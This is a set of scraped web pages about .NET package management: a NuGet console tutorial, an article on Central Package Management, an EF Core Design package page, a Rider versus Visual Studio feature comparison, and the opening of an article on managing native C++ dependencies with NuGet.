|
|||||
8582
|
dbpedia
|
3
| 49
|
https://www.codeproject.com/Articles/193262/A-Tough-Nugget-NuGet-Package-Manager
|
en
|
A Tough Nugget – NuGet Package Manager
|
[
"https://codeproject.freetls.fastly.net/images/t.gif",
"https://www.codeproject.com/script/Membership/Images/octicons_github-lg.png",
"https://www.codeproject.com/script/Membership/Images/facebook-lg.png",
"https://www.codeproject.com/script/Membership/Images/google-plus-lg.png",
"https://www.codeproject.com/script/Membership/Images/microsoft-lg.png",
"https://codeproject.freetls.fastly.net/App_Themes/CodeProject/Img/logo250x135.gif",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/Programming-LanguagesXML&sz=728x90&c=345059",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://www.codeproject.com/App_Themes/CodeProject/Img/print48.png",
"https://www.codeproject.com/Uploads/Membership/ProfileImages/{162f07b1-939f-4ebd-8059-ce9e9d4c05cb}.jpg",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-fill-lg.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-fill-lg.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-fill-lg.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-fill-lg.png",
"https://codeproject.freetls.fastly.net/script/Ratings/Images/star-fill-lg.png",
"https://codeproject.freetls.fastly.net/App_Themes/CodeProject/Img/views32.png",
"https://codeproject.freetls.fastly.net/App_Themes/CodeProject/Img/bookmarks32.png",
"https://www.codeproject.com/KB/Blogs/193262/nuget_thumb_5334713D.png",
"https://www.codeproject.com/KB/Blogs/193262/NuGet-in-Extension-Manager_thumb_77692FF2.png",
"https://www.codeproject.com/KB/Blogs/193262/The-Package-Manager-Console_thumb_5ADC1845.png",
"https://www.codeproject.com/KB/Blogs/193262/Using-PowerShell-Commands_thumb_3AB0E5BB.png",
"https://www.codeproject.com/KB/Blogs/193262/Add-Library-Package-Reference_thumb_62B36F0D.png",
"https://www.codeproject.com/KB/Blogs/193262/Add-Library-Package-Reference-Dialog_thumb_6C883AAB.png",
"https://www.codeproject.com/Uploads/Membership/ProfileImages/{162f07b1-939f-4ebd-8059-ce9e9d4c05cb}.jpg",
"https://www.codeproject.com/script/Geo/Images/IL.gif",
"https://www.codeproject.com/images/twitter-x-48.png",
"https://www.codeproject.com/images/linkedin-32.png",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/Programming-LanguagesXML&sz=728x90&c=345059",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/Programming-LanguagesXML&sz=300x250&c=345059",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/Programming-LanguagesXML&sz=160x600&c=345059"
] |
[] |
[] |
[
""
] | null |
[
"Gil Fink"
] |
2011-05-09T00:00:00
|
The NuGet Package Manager helps to manage the Open Source component packages and their dependencies and by that decrease the amount of cumbersome work that the developer will need to do.
|
en
|
/favicon/apple-touch-icon.png
|
CodeProject
|
https://www.codeproject.com/Articles/193262/A-Tough-Nugget-NuGet-Package-Manager
|
Introduction
Once upon a time, when a .NET developer wanted to install a third-party/Open Source component, the amount of work he had to do was enormous. Things like downloading the component with all its dependencies, installing the latest component version, saving the component into source control, deploying the component with the application and more made this mission very hard and cumbersome. In other platforms such as Java and Ruby, there were solutions for this problem which wrapped components into packages and deployed those packages. NuGet is an Open Source package manager that is integrated into Visual Studio 2010 and helps to do exactly that. If you are a .NET developer and you haven’t heard about NuGet, then I hope that this post will help you to get started with it.
What We Strive?
These days, building large applications includes a lot of parts/components or third party packages. For example, when you start writing a web application, you’ll probably want to integrate jQuery, Modernizr, and other components that will help you to build a better application. When you want to add an assembly, you also want to add all the dependencies that it includes. Without the dependencies (such as configuration files, images, and etc.) the component won’t work at all. But there you start to hit a wall. How to download the latest component version? How to get all the dependencies? How to manage the whole thing? Not doing a good job in these issues can lead to a messy application that holds out of date dependencies that break it apart. This is why NuGet is so important.
NuGet Package Manager
NuGet is a package manager that is integrated into Visual Studio 2010. It is an Open Source project that can be downloaded from CodePlex but it can be added to Visual Studio also through the Extension Manager, as you can see in the next figure:
When you install NuGet, you will have the ability to use it in two main ways:
The Package Manager Console – use a PowerShell console with commands that help to do the package management.
The Add Library Package Reference sialog – use a VS dialog in order to manage the packages.
The Package Manager Console
From the two option management options, this is my preferred one. The Package Manager Console is a PowerShell console that helps to manage the packages that you install into your application.
If you can’t see the console after the NuGet installation, you can go to the Tools menu in VS –> Library Package Manager –> Package Manager Console in order to open it. There are a few PowerShell commands in NuGet that you will have to know, such as:
Get-Package – Gets the set of packages available from the package source. The default source is the current project. If you like to get a package that doesn’t exist in your project then use the following syntax:
tetx
Get-Package [package-name] -ListAvailable
Install-Package – install a package and all its dependencies.
Update-Package – updates a package and its dependencies to the latest package version.
Uninstall-Package – uninstall a package that you installed in your solution.
There are other commands as well such as Add-BindingRedirect but the main ones were written previously. Here is an example that shows how to get the available packages in the solution and how to install the Modernizr package:
You can explore the commands and their syntax using the PowerShell Get-Help command. After you install the packages, NuGet will add a packages.config file into your project that will include the details of the package name and version that are available in the project. Here is an example of such a file:
="1.0"="utf-8" <packages> <packageid="Modernizr"version="1.7"/> <packageid="jQuery"version="1.6"/> </packages>
Also it will do all the relevant integration for you. For example, adding a Scripts directory in your application and adding the full and minimized version when you install Modernizr. Another thing that can help a lot is the ability to build PowerShell script files that manage automatic installation of packages. Then, you can add the solution to source control with those files and when other developers get the latest version, they can run the script and get all the packages and their dependencies.
The Add Library Package Reference Dialog
This is a graphic dialog for doing the same thing like in the Package Manager Console. When you install NuGet, it adds a new menu item into the menu item of the project. You can point the project name, press the right mouse button, and select the “Add Library Package Reference” to invoke NuGet's package management dialog:
In the dialog, you can see the installed packages, get packages from the online packages gallery, update the packages to their latest version, and more.
Summary
NuGet is a great extension to Visual Studio’s stack of extensions. It helps to manage the Open Source component packages and their dependencies and by that decrease the amount of cumbersome work that the developer will need to do. One of its better qualities is that it is so simple and easy to use. If you ask me, this is a must know tool for .NET developers.
|
||||
8582
|
dbpedia
|
0
| 84
|
https://code-maze.com/central-package-management-dotnet/
|
en
|
Central Package Management for .NET Projects
|
[
"https://code-maze.com/wp-content/uploads/2021/02/Code-Maze-Logo-White-Text-Transparent-Small.png",
"https://code-maze.com/wp-content/uploads/2021/12/social-dotnet-core.png",
"https://code-maze.com/wp-content/uploads/2021/11/ultimate-aspnet-core-banner-v2-690-min.webp",
"https://code-maze.com/wp-content/plugins/patron-plugin-pro/plugin/lib/patron-button-and-widgets-by-codebard/images/become_a_patron_button.png",
"https://code-maze.com/wp-content/uploads/2021/11/ultimate-aspnet-core-banner-v2-690-min.webp",
"https://code-maze.com/wp-content/plugins/patron-plugin-pro/plugin/lib/patron-button-and-widgets-by-codebard/images/become_a_patron_button.png",
"https://code-maze.com/wp-content/uploads/2024/06/Book-Cover-Second-Edition-300px.png"
] |
[] |
[] |
[
""
] | null |
[
"Bartosz Jarmuż"
] |
2022-05-17T06:00:24+00:00
|
The central package management feature has been released and it can help us organize our NuGet packages from one centralized place.
|
en
|
Code Maze
|
https://code-maze.com/central-package-management-dotnet/
|
Nowadays, every non-trivial software project depends on a number of external dependencies. Good software design is all about modularity, and that’s one of the reasons behind NuGet’s success in the .NET world. NuGet is the famous, well-integrated package manager for .NET with hundreds of thousands of public packages. Modern .NET projects utilize NuGet packages a lot, and the tool just got better. The NuGet team has just released the central package management feature.
To download the source code for this article, you can visit our GitHub repository.
Let’s have a look at what it’s all about!
What Is Central Package Management and Why Do We Need It?
Central Package Management is exactly what its name suggests. It’s a way of controlling versions of NuGet packages in a centralized location. This solution follows the modern pattern of using Directory.*.props files to share the settings between multiple projects.
In this case, the file is called Directory.Packages.props.
Before this feature was available, we had to set each NuGet package version in each project one by one. This was tedious and error-prone – even with the ‘Manage Packages for Solution’ feature of Visual Studio. Package version conflicts are annoying when they break our builds, but they are a whole different level of hell when they fail at runtime.
Having the versions of dependencies in one place guarantees that all projects use the same thing. And since it’s just one file, it’s much faster to edit.
So, let’s see how to start using it!
How to Use Central Package Management
First of all, we need to add the Directory.Packages.props file into our repository. The root folder of the solution is a good place to start:
<Project> <ItemGroup> <PackageVersion Include="Newtonsoft.Json" Version="13.0.1" /> <PackageVersion Include="Serilog" Version="1.59.0" /> </ItemGroup> </Project>
Adding this file should then enable the central management for all the projects unless they opt-out.
However, at the time of writing, this feature is only available in the preview version of Visual Studio (17.2). Until it is officially released, we need to opt-in to enable this feature. In order to do that, we need to add <ManagePackageVersionsCentrally>true</ManagePackageVersionsCentrally> to our project files. Alternatively, we can use the Directory.Build.props file to control this setting centrally, as we’ve described in our article about setting the C# version for all projects.
Next, let’s adjust the project files to handle centrally managed packages:
<Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <TargetFramework>net6.0</TargetFramework> </PropertyGroup> <ItemGroup> <PackageReference Include="Newtonsoft.Json" /> </ItemGroup> </Project>
As we can see, the project file has only the reference to the package name – it does not contain the Version attribute.
It’s important to notice, that if we decide to use Central Package Management for a project, we cannot add NuGet packages in the traditional way. If we attempt to do that, we will see an NU1008 error:
Projects that use central package version management should not define the version on the PackageReference items but on the PackageVersion items.
Notice also the subtle difference between the project file and the Directory.Packages.props – the latter specifies PackageVersion elements, not PackageReference. This can be tricky if we just copied the packages section from the project file.
That’s it – building our project now should trigger proper NuGet resolution. The Preview version of Visual Studio can act a bit flaky – sometimes it helps to restart and delete the hidden .vs folder if it gets stuck.
Fine-Tuning the Central Package Management
In some cases, we might need a bit more granular control over the versions of packages. One of the ways of achieving it is to declare the VersionOverride attribute on the package reference in the project file:
<ItemGroup> <PackageReference Include="Newtonsoft.Json" /> <PackageReference Include="Serilog" VersionOverride="2.11.0" /> </ItemGroup>
In this case, the current project uses the Serilog package in version 2.11. NuGet will ignore the version specified in Directory.Packages.props.
Another way of adding more granularity to the package resolution logic is to use more Directory.Packages.props files. The version resolution mechanism applies the file that is closest to the project that is being resolved. This means a subfolder of a repository can have its own Directory.Packages.props file, and the projects in this subfolder and below will have that file applied:
Root |-- Directory.Packages.props |-- Directory.Build.props |-- NuGet.config |-- MySolution.sln |-- MyProject |-- MyProject.csproj |-- Subfolder |-- Directory.Packages.props |-- ProjectInSubfolder.csproj
However, only one file applies to a project. This means that packages are declared in the top-level Directory.Packages.props file don’t apply in projects where a subfolder Directory.Packages.props file exists.
In order to use them, we need to define them separately!
Conclusion
Central Package Management is a very nice addition to the NuGet ecosystem. It simplifies dependency management, which can be quite challenging in complex projects. Unfortunately, at the time of writing, there is no GUI support for this feature. Luckily, there are plans to include that at some point, so the experience will be even better.
|
|||||
8582
|
dbpedia
|
1
| 27
|
https://www.nuget.org/packages/Microsoft.EntityFrameworkCore.Design
|
en
|
Microsoft.EntityFrameworkCore.Design 8.0.8
|
https://api.nuget.org/v3-flatcontainer/microsoft.entityframeworkcore.design/8.0.8/icon
|
https://api.nuget.org/v3-flatcontainer/microsoft.entityframeworkcore.design/8.0.8/icon
|
[
"https://api.nuget.org/v3-flatcontainer/microsoft.entityframeworkcore.design/8.0.8/icon",
"https://nuget.org/Content/gallery/img/nuget-trends.svg",
"https://www.nuget.org/profiles/Microsoft/avatar?imageSize=64",
"https://www.nuget.org/profiles/aspnet/avatar?imageSize=64",
"https://www.nuget.org/profiles/dotnetframework/avatar?imageSize=64",
"https://www.nuget.org/profiles/EntityFramework/avatar?imageSize=64",
"https://nuget.org/Content/gallery/img/facebook.svg",
"https://nuget.org/Content/gallery/img/twitter.svg",
"https://nuget.org/Content/gallery/img/rss.svg"
] |
[] |
[] |
[
""
] | null |
[] | null |
Shared design-time components for Entity Framework Core tools.
|
en
|
/favicon.ico
|
https://www.nuget.org/packages/Microsoft.EntityFrameworkCore.Design
|
The Entity Framework Core tools help with design-time development tasks. They're primarily used to manage Migrations and to scaffold a DbContext and entity types by reverse engineering the schema of a database.
The Microsoft.EntityFrameworkCore.Design package is required for either command-line or Package Manager Console-based tooling, and is a dependency of dotnet-ef and Microsoft.EntityFrameworkCore.Tools.
Usage
Install the package into your project and then use either dotnet-ef or Microsoft.EntityFrameworkCore.Tools.
By default, the package will install with PrivateAssets="All" so that the tooling assembly will not be included with your published app. For example:
<PackageReference Include="Microsoft.EntityFrameworkCore.Design" Version="8.0.2"> <PrivateAssets>all</PrivateAssets> <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets> </PackageReference>
Getting started with EF Core
See Getting started with EF Core for more information about EF NuGet packages, including which to install when getting started.
Feedback
|
|||
8582
|
dbpedia
|
2
| 25
|
https://www.jetbrains.com/rider/compare/rider-vs-visual-studio/
|
en
|
Rider vs. Visual Studio - Compare
|
[] |
[] |
[] |
[
""
] | null |
[
"JetBrains"
] |
2021-05-26T09:00:00
|
.NET IDE based on the IntelliJ platform and ReSharper. Supports C#, ASP.NET, ASP.NET MVC, .NET Core, Unity and Xamarin
|
en
|
/favicon.ico?r=1234
|
JetBrains
|
https://www.jetbrains.com/rider/compare/rider-vs-visual-studio/
|
General
Works for .NET and Front-end code Works for .NET and Front-end code Works for .NET and Front-end code Works for C/C++ code Works for C/C++ code Works for C/C++ code Runs on Windows Runs on Windows Runs on Windows, macOS, and Linux 64-bit process 64-bit process 64-bit process
Integrated VCS client
Support for Git and Azure DevOps Support for Git and Azure DevOps Support for Git, Azure DevOps, Mercurial, Perforce, SVN Visual diff and merge Visual diff and merge Visual diff and merge Repo history view with filtering by substring Repo history view with filtering by substring Repo history view with filtering by substring, branches, users, dates, paths History view for a file History view for a file History view for a file or a text selection No matching functionality No matching functionality Visualize, compare, and revert changes right in the editor No matching functionality No matching functionality Pre-commit checks and cleanup No matching functionality No matching functionality Ability to abort Git merge and cherry-pick processes No matching functionality No matching functionality Multiple repositories in one project No matching functionality No matching functionality GitHub pull requests view
Dealing with code issues
On-the-fly design-time code analysis for C#, F#, VB.NET, XAML On-the-fly design-time code analysis for all supported languages (including ASP.NET, XAML, JavaScript, TypeScript, HTML and more) On-the-fly design-time code analysis for all supported languages (including ASP.NET, XAML, JavaScript, TypeScript, SASS, LESS, HTML, SQL, XSLT, YAML, and more) 800+ code analysis rules 1500+ configurable code inspections 1600+ configurable code inspections Design-time error highlighting: Compiler errors for C#, VB.NET, JavaScript, TypeScript and C++ Design-time error highlighting: most compiler errors, many possible runtime errors (such as detection of possible null reference exceptions) for all supported languages Design-time error highlighting: most compiler errors, many possible runtime errors (such as detection of possible null reference exceptions) for all supported languages 400+ kinds of code issues that can be fixed automatically 1900+ kinds of code issues that can be fixed automatically 2000+ kinds of code issues that can be fixed automatically Roslyn analyzers support Roslyn analyzers support Roslyn analyzers support, also in solution-wide error/warning monitor 250+ quick actions to resolve code issues in C# and VB.NET 1300+ quick-fixes to resolve code issues in C#, VB.NET, ASP.NET, XAML, XML, JavaScript, TypeScript, and other supported languages 1500+ quick-fixes to resolve code issues in C#, C++, VB.NET, ASP.NET, XAML, XML, JavaScript, TypeScript, SQL and other supported languages Full solution analysis for C# and VB.NET Solution-wide error/warning monitor for all supported languages Solution-wide error/warning monitor for all supported languages Suggest usings for types in installed NuGet packages A quick-fix that finds unresolved symbols and namespaces on nuget.org A quick-fix that finds unresolved symbols and namespaces on nuget.org Integrated ESLint support Integrated JSLint, ESLint, and TSLint support Integrated JSLint, ESLint, JSHint, JSCS, and Closure Linter support Document Health Indicator File status indicator File status indicator Code annotations for nullability analysis Code annotations help analyze solution with greater accuracy (nullability, contracts, etc.) Code annotations help analyze solution with greater accuracy (nullability, contracts, etc.) Inline display of error messages No matching functionality No matching functionality No matching functionality No matching functionality Files with errors are highlighted on editor tabs and in the Solution Explorer No matching functionality Reporting all errors and code quality issues in any scope, up to the entire solution Reporting all errors and code quality issues in any scope, up to the entire solution No matching functionality Analysis of code inside string literals, tags and attributes Analysis of code inside string literals, tags and attributes, and SQL queries in C# and other languages. No matching functionality Custom code inspections and fixes with structural search and replace patterns No matching functionality
Code exploration
Call hierarchy Call hierarchy Call hierarchy Track Value Source Value tracking to analyze value origins and destinations Value tracking to analyze value origins and destinations Dependency graph Project Dependency Diagram, Assembly Dependency Diagram, and Type Dependency Diagram that display without compiling anything Project Dependency Diagram No matching functionality Analyze/optimize unused references and NuGet packages No matching functionality Map mode with preview for vertical scroll bar Map mode with preview for vertical scroll bar Code Lens (hover over editor scrollbar to preview file text outside of the visible area) CodeLens (symbol info on declaration) CodeLens (symbol info on declaration) Code Vision (symbol info on declaration) Peek definition Enhanced peek definition Peek definition in a popup view Syntax highlighting Syntax highlighting (different configurable colors for more identifier kinds) Syntax highlighting (different configurable colors for more identifier kinds) Highlight references Highlight usages (read and write with different colors) Highlight usages (read and write with different colors) Gutter icons for implemented and inherited symbols Gutter icons for implemented, inherited, and hiding symbols Gutter icons for implemented, inherited, and hiding symbols File members in Solution Explorer File members in Solution Explorer No matching functionality File members selectors at the top of the editor File members selectors at the top of the editor No matching functionality File structure (only for WinForms, XAML, HTML) File structure File structure Task List window To-do explorer with configurable patterns To-do explorer with configurable patterns No matching functionality Hierarchy views for projects, project references, types, CSS styles Hierarchy view for types
Refactoring
15 solution-wide refactorings 58 solution-wide refactorings 58 solution-wide refactorings 120+ local refactorings (automated local code transformations) 470+ context actions (automated local code transformations) 520+ context actions (automated code transformations) Project-level cleanup refactoring: Sync Namespaces Project-level cleanup refactorings: Adjust Namespaces, Move Types into Matching Files, and Remove Unused References. Project-level cleanup refactorings: Adjust Namespaces and Move Types into Matching Files. No matching functionality Structural replace for same or similar code No matching functionality
Code generation
Create from usage Create from usage Create from usage Generate code from code snippets (templates) Generate code from configurable live, surround, source, and postfix templates Generate code from configurable live, surround, source, and postfix templates Generate files from templates Generate files and file sets from configurable templates Generate files from templates Generate type members Generate type members Generate type members Generate null checks for parameters Generate configurable null checks for parameters Generate configurable null checks for parameters T4 templates support T4 templates support Limited T4 templates support with an external generator No matching functionality Visual editor for code templates Visual editor for code templates No matching functionality Simple way to share custom code templates Simple way to share custom code templates
Build and run
Build with MSBuild Build with MSBuild or with ReSharper Build, out-of-process incremental build tool that only builds projects that need updating, comes with a built-in NuGet package restorer Build with MSBuild or with ReSharper Build, out-of-process incremental build tool that only builds projects that need updating, comes with a built-in NuGet package restorer Multiple startup projects Multiple startup projects Compound run configuration No matching functionality Run configurations for running/debugging static methods Run configurations for running/debugging static methods No matching functionality Build with selected MSBuild version Build with selected MSBuild version
Debugger
Remote debugging Remote debugging Remote debugging Debug external C# code even without debug symbols, requires some initial configuration Debug external C# code even without debug symbols, requires some initial configuration Debug external C# code even without debug symbols, no configuration is required DataTips in the editor Searchable DataTips in the editor Searchable DataTips in the editor No matching functionality Configurable object presentation in DataTips Configurable object presentation (Pin to top) No matching functionality No matching functionality Configurable stack frames presentation (Pin to frame) No matching functionality Values of local variables, current line expressions, and function returns are shown in the editor Values of local variables, current line expressions, and function returns are shown in the editor Memory window Memory window Memory view WPF Tree Visualizer WPF Tree Visualizer No matching functionality Live Visual Tree Live Visual Tree No matching functionality Live Property Explorer Live Property Explorer No matching functionality Snapshot debugger Snapshot debugger No matching functionality IntelliTrace IntelliTrace No matching functionality Breakpoints window Breakpoints window with preview, context search, grouping, and export Breakpoints dialog with search and grouping Break by condition (thread, process, machine name) Break by condition (thread, process, machine name) Break by condition (thread) Data breakpoints (.NET Core 3.0+) Data breakpoints (.NET Core 3.0+) Data breakpoints (.NET Core 3.0+) Run to Cursor, Run to Click Run to Cursor, Run to Click Run to Cursor, Run to Click No matching functionality No matching functionality Force Run to Statement No matching functionality No matching functionality Smart Step Into Edit and Continue Edit and Continue Hot Reload Immediate Window Immediate Window Immediate Window Parallel Stacks Parallel Stacks Parallel Stacks Search in debugger views Search in debugger views Search in debugger views No matching functionality Find breakpoints by context No matching functionality Dependent breakpoints Dependent breakpoints Dependent breakpoints Temporary (remove-once-hit) breakpoints Temporary (remove-once-hit) breakpoints Temporary (remove-once-hit) breakpoints No matching functionality No matching functionality Method breakpoints No matching functionality No matching functionality Mono debugging (including remote)
Project-level tools
NuGet package manager NuGet package manager NuGet package manager with instant search Project templates Project templates Project templates No matching functionality No matching functionality Rename project refactoring No matching functionality No matching functionality Coding assistance in .csproj files Azure-specific tools Azure-specific tools Azure-specific tools Xamarin-specific tools Xamarin-specific tools Xamarin-specific tools UWP support UWP support UWP support MSIX support MSIX support No matching functionality Issue tracker integration (Azure DevOps, VSTS) Issue tracker integration (Azure DevOps, VSTS) Issue tracker integration for all modern trackers Visual Studio Live Share Visual Studio Live Share No matching functionality No matching functionality NuGet browser to explore types and namespaces from the NuGet-gallery packages No matching functionality No matching functionality No matching functionality Integrated REST client
Coding assistance
Code completion Code completion is context-driven, can suggest types and extension methods from the entire solution, import namespaces, generate code, and more Code completion is context-driven, can suggest types and extension methods from the entire solution, import namespaces, generate code, and more Auto-import namespaces Auto-import namespaces with NuGet search for types and namespace Auto-import namespaces with NuGet search for types and namespace Move line or selection up/down Move line, selection, statement, parameter, member, etc. up/down/left/right Move line, selection, statement, parameter, member, etc. up/down/left/right Expand/Contract selection Extend/Shrink selection Extend/Shrink selection WPF visual designer WPF visual designer WPF preview WinForms visual designer WinForms visual designer WinForms visual designer Pasting items from clipboard history Pasting items from clipboard history Pasting items from clipboard history Regular expressions assistance in C# and VB.NET Regular expressions assistance in C#, JavaScript, TypeScript, and JSON, plus regular expression validator Regular expressions assistance in C#, JavaScript, TypeScript, JSON, and SQL Quick Info Quick Documentation Quick Documentation No matching functionality Structural navigation with Tab/Shift+Tab Structural navigation with Tab/Shift+Tab No matching functionality Structural remove Structural remove l Inlay hints for parameter names and type names Inlay hints for parameter names, type names, and type conversions; push-to-hint mode Inlay hints for parameter names, type names, and type conversions; push-to-hint mode No matching functionality Completion of entire code statements Completion of entire code statements No matching functionality Integrated spell checking Integrated spell checking No matching functionality Localization assistance Localization assistance No matching functionality Auto-correction of escape sequences in pasted string literals Auto-correction of escape sequences in pasted string literals No matching functionality No matching functionality Local history (tracking uncommitted changes) No matching functionality No matching functionality Scratches (files and buffers for prototyping)
Navigation
Go to declaration Go to declaration that also allows navigating between usages Go to declaration that also allows navigating between usages Go to implementation Go to base symbols, derived symbols, and end implementations Go to base symbols, derived symbols, and end implementations Find references Find usages of the current and related symbols, including text occurrences Find usages View recent files View recent files/recent edits and jump to last edit View recent files/recent edits and jump to last edit Code bookmarks Code bookmarks Code bookmarks No matching functionality Navigate to exposing APIs Navigate to exposing APIs No matching functionality Go to related and nearby files No matching functionality No matching functionality No matching functionality Breadcrumbs for project structure and document structure
Search
Go To Search everywhere Search everywhere Local and global Find/Replace Local and global Find/Replace + instant index-based search with Go to text Local and global Find/Replace (index-based, with filters, e.g. except literals or only in comments) Go to symbol Go to symbol Go to symbol Go to type Go to type Go to type Go to file member Go to file member Go to file member Go to file Go to file Go to file Quick Launch Find actions and settings Find actions and settings No matching functionality Structural search and replace No matching functionality
Compiled-code tools
Integrated decompiler (ILSpy) Integrated decompiler (dotPeek) Integrated cross-platform decompiler (dotPeek) Object Browser Object Browser + Assembly explorer to open and navigate compiled assemblies Assembly explorer to open and navigate compiled assemblies Navigate to decompiled source (only when debugging) Navigate decompiled code Navigate decompiled code Stack trace explorer Stack trace explorer Stack trace explorer No matching functionality Intermediate Language (IL) Viewer Intermediate Language (IL) Viewer
Code style
Reformat code in file Reformat code in file, project, or solution, optionally with contextual configuration of formatting rules Reformat code in file, project, or solution, optionally with contextual configuration of formatting rules Granular formatting rules (e.g. ~45 rules for C#) Granular formatting rules (e.g. ~220 rules for C#) Granular formatting rules (e.g. ~220 rules for C#) Optimize namespace import directives Optimize namespace import directives, including bulk fix Optimize namespace import directives, including bulk fix Configurable code syntax style inspections Configurable code syntax style inspections Configurable code syntax style inspections Naming style Naming style Naming style No matching functionality Auto-detection of naming and formatting styles Auto-detection of naming and formatting styles EditorConfig support EditorConfig support EditorConfig support Visual editor for .editorconfig files Visual editor for .editorconfig files Coding assistance and navigation in .editorconfig files No matching functionality Clang-Format support Clang-Format support File header style via EditorConfig File header style via EditorConfig or settings File header style via EditorConfig or settings No matching functionality Use comments to configure formatter Use comments to configure formatter No matching functionality Align code in columns Align code in columns No matching functionality File/type member layout with visual editor File/type member layout with XAML pattern
Unit testing
Unit test explorer Unit test explorer Unit test explorer .NET testing frameworks support (MSTest, VSTest, xUnit.net) .NET testing frameworks support (MSTest, VSTest, xUnit.net, NUnit) .NET testing frameworks support (MSTest, VSTest, xUnit.net, NUnit) C/C++ testing frameworks support (Microsoft Unit Testing Framework for C++, Google Test, Boost.Test, CTest) C/C++ testing frameworks support (Google Test, Boost.Test, Catch, doctest) C/C++ testing frameworks support (Google Test, Boost.Test, Catch, doctest) No matching functionality JavaScript testing frameworks support (QUnit, Jasmine) JavaScript testing frameworks support (QUnit, Jasmine, Cucumber.js, Jest, Karma, Mocha, Protractor) Run tests from the editor (MSTest and xUnit.net only) Run tests from the editor Run tests from the editor View test status in the editor (MSTest and xUnit.net only) View test status in the editor View test status in the editor Code coverage tools Code coverage tools Code coverage tools Live unit testing Continuous testing Continuous testing No matching functionality Multiple unit test sessions, which can run simultaneously and independently of one another Multiple unit test sessions, which can run simultaneously and independently of one another No matching functionality Repeat tests until failure Repeat tests until failure
Database tools
Built-in support for MS Access and ODBC Built-in support for MS Access and ODBC No matching functionality Built-in support for SQL Server, Azure SQL, Oracle Built-in support for SQL Server, Azure SQL, Oracle Built-in support for SQL Server, Azure SQL, Oracle No matching functionality No matching functionality Built-in support for MySQL, Postgre SQL, Sqlite, Sybase, DB2, Derby, H2 HSQLDB, MongoDB, Couchbase Database projects support (*.sqlproj) Database projects support (*.sqlproj) No matching functionality SQL editing tools SQL editing tools SQL editing tools (including navigation, templates, quick-fixes) No matching functionality No matching functionality SQL editing tools inside string literals in C#, VB.NET, JavaScript, TypeScript, etc.
Managing settings
Synchronize settings via Microsoft ID Synchronize settings with team via VCS or any file hosting service Synchronize settings with team via VCS, JetBrains Account, or any file hosting service No matching functionality Settings layer system to store different settings for different solutions without conflicts Settings layer system to store different settings for different solutions without conflicts
Game development
See detailed comparison of Unity-related features Basic Unreal Engine support Productivity features for Unreal Engine projects Productivity features for Unreal Engine projects No matching functionality Unreal Engine testing framework support Unreal Engine testing framework support
Miscellaneous
Interactive installer that allows reconfiguring existing installation Interactive installer that allows reconfiguring existing installation Interactive installer Diagnostic tools Diagnostic tools + Integrated performance and memory profilers Integrated performance profiler Localized GUI Localized GUI (only Visual Studio) No matching functionality Plugin ecosystem Plugin ecosystem Plugin ecosystem No matching functionality No matching functionality Remote development support
|
||||
8582
|
dbpedia
|
2
| 33
|
https://medium.com/%40darioajr/modernizing-dependency-and-package-management-in-c-native-projects-with-visual-studio-2022-and-600d32665d1e
|
en
|
Modernizing Dependency and Package Management in C++ (Native) Projects with Visual Studio 2022 and NuGet
|
[
"https://miro.medium.com/v2/resize:fill:64:64/1*dmbNkD5D-u45r44go_cf0g.png",
"https://miro.medium.com/v2/resize:fill:88:88/1*m_9w6dgemUiepZ-u98rezw.jpeg",
"https://miro.medium.com/v2/resize:fill:144:144/1*m_9w6dgemUiepZ-u98rezw.jpeg"
] |
[] |
[] |
[
""
] | null |
[
"D@rio",
"medium.com"
] |
2024-06-19T16:29:16.603000+00:00
|
With the end of support for Visual Studio 2015 on October 14, 2025, many native C++ projects using this version will need to migrate to Visual Studio 2022. This transition will bring several…
|
en
|
https://miro.medium.com/v2/5d8de952517e8160e40ef9841c781cdc14a5db313057fa3c3de41c6f5b494b19
|
Medium
|
https://medium.com/@darioajr/modernizing-dependency-and-package-management-in-c-native-projects-with-visual-studio-2022-and-600d32665d1e
|
Link para o artigo em Português
With the end of support for Visual Studio 2015 on October 14, 2025, many native C++ projects using this version will need to migrate to Visual Studio 2022. This transition will bring several significant changes that may impact projects, such as:
Changing the C++ standard from version 11 to version 14
Updating the build toolset from version v140 to v143
Migrating from SDK 8.1 to SDK 10.0 or 10.x
Other compilation restrictions
These changes may require adjustments in the code and project configurations to ensure compatibility and performance.
Unified Redistributables Package
To advance the entire Visual Studio platform, Microsoft, since the 2015 version, has unified the Redistributables packages into a single package. This single package maintains the v140 toolset version as a dependency. This means that by installing the new Redistributable, all dependencies for the 2015, 2017, 2019, and 2022 versions will be available. Even if projects are compiled with the v143 toolset, they will still depend on the VC_Runtime v140. This new Redistributable is compatible with all toolsets: v140, v141, v142, and v143.
For more information, refer to the official documentation.
Organizing Native Project Dependencies
In addition to the mentioned changes, it’s crucial to take the opportunity to organize the native dependencies of the project. Many of these dependencies may be scattered across various local and remote folders, environment variables, or macros. Moreover, many source codes that could be in libraries (libs/dlls) might be directly integrated into the project. Migrating without prior organization can increase the overall risk of the application, as well as the timeline and complexity of the process.
Leveraging NuGet for Native Libraries in C++
To address these challenges, it is advisable to divide part of the code into libraries and manage the dependencies more appropriately for new projects. In this context, packaging native libraries with NuGet stands out as an efficient solution.
What is NuGet?
NuGet is an essential tool for package management in the .NET platform, created to simplify the process of adding, removing, and updating libraries and tools in development projects. Developed by Microsoft, NuGet integrates seamlessly with Visual Studio, offering an intuitive interface for developers of all experience levels.
Key Features
Ease of Integration: NuGet is integrated with Visual Studio, making the installation and updating of packages extremely simple and intuitive. Through the NuGet Package Manager, developers can search, install, and update packages directly from the IDE.
Dependency Management: One of NuGet’s greatest advantages is the ability to automatically manage package dependencies. When a package is installed, NuGet ensures that all necessary dependencies are also installed and correctly configured.
